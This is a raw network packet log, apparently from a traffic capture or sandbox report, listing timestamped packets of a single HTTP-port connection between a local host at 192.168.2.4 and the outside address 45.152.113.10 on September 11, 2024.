Sep 11, 2024 22:52:08.217715025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217753887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217753887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217753887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217753887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217753887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217789888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217811108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217824936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217824936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217849970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217858076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217868090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217910051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.217945099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217957973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217972994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217988014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.217993975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218003035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218014002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218045950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218053102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218060970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218091965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218096972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218128920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218132973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218147039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218148947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218162060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218182087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218202114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218233109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218252897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218266010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218278885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218291998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218300104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218307018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218317986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218322039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218338013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218358994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218388081 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218512058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218549967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218559980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218564034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218592882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218622923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218704939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218719006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218739033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218750000 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218765974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218770981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218780994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218789101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218795061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218811035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218813896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218825102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218839884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218842983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218858004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218872070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218877077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218885899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.218899012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.218934059 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219369888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219393015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219407082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219423056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219435930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219456911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219460011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219475031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219489098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219501972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219535112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219563961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219578028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219592094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219605923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219615936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219621897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219645977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219676018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219696045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219710112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219723940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219747066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219757080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219779968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219782114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219794035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219809055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219810009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219846964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219872952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219904900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219918966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219933033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219947100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219952106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219961882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219983101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.219983101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.219997883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220022917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220029116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220042944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220043898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220077038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220077038 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220089912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220098972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220119953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220143080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220151901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220175028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220189095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220197916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220217943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220221996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220232010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220242977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220247030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220259905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220280886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220307112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220340967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220355034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220369101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220382929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220387936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220397949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220407009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220412970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220427990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220427990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220474958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220639944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220654011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220669031 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220686913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220686913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220702887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220725060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220752001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220828056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220843077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220855951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220870018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220875025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220892906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220907927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220913887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220921993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220937014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220951080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.220953941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.220972061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.221009970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305407047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305471897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305495024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305510044 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305526972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305541039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305571079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305605888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305655956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305685997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305718899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305751085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305799007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305845976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305879116 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305881977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305881977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305881977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305910110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305951118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305951118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305960894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.305975914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.305994034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306016922 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306025982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306057930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306058884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306085110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306092024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306103945 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306124926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306143999 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306155920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306174994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306188107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306202888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306242943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306250095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306281090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306307077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306313992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306329012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306344986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306376934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306379080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306401014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306425095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306446075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306457043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306476116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306489944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306515932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306521893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306535959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306570053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306571007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306601048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306621075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306637049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306658030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306668043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306684017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306699991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306720018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306731939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306749105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306763887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306782961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306796074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306812048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306827068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306847095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306858063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306876898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306889057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306921005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306921959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306951046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306952000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.306971073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.306983948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307008982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307018042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307029009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307049990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307066917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307080984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307106972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307113886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307127953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307145119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307168007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307177067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307197094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307209015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307233095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307240963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307254076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307272911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307291031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307305098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307320118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307354927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307368994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307421923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307432890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307466984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307492971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307514906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307524920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307545900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307565928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307590961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307595015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307629108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307645082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307658911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307674885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307691097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307709932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307738066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307743073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307770014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307790041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307816982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307863951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307910919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307913065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307941914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307960987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.307974100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.307988882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308003902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308022022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308052063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308054924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308083057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308101892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308116913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308149099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308154106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308176041 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308187008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308203936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308217049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308238029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308262110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308265924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308314085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308315039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308346033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308363914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308377028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308392048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308409929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308425903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308439970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308466911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308474064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308505058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308517933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308518887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308536053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308548927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:08.308571100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:08.308584929 CEST	49733	80	192.168.2.4	45.152.113.10
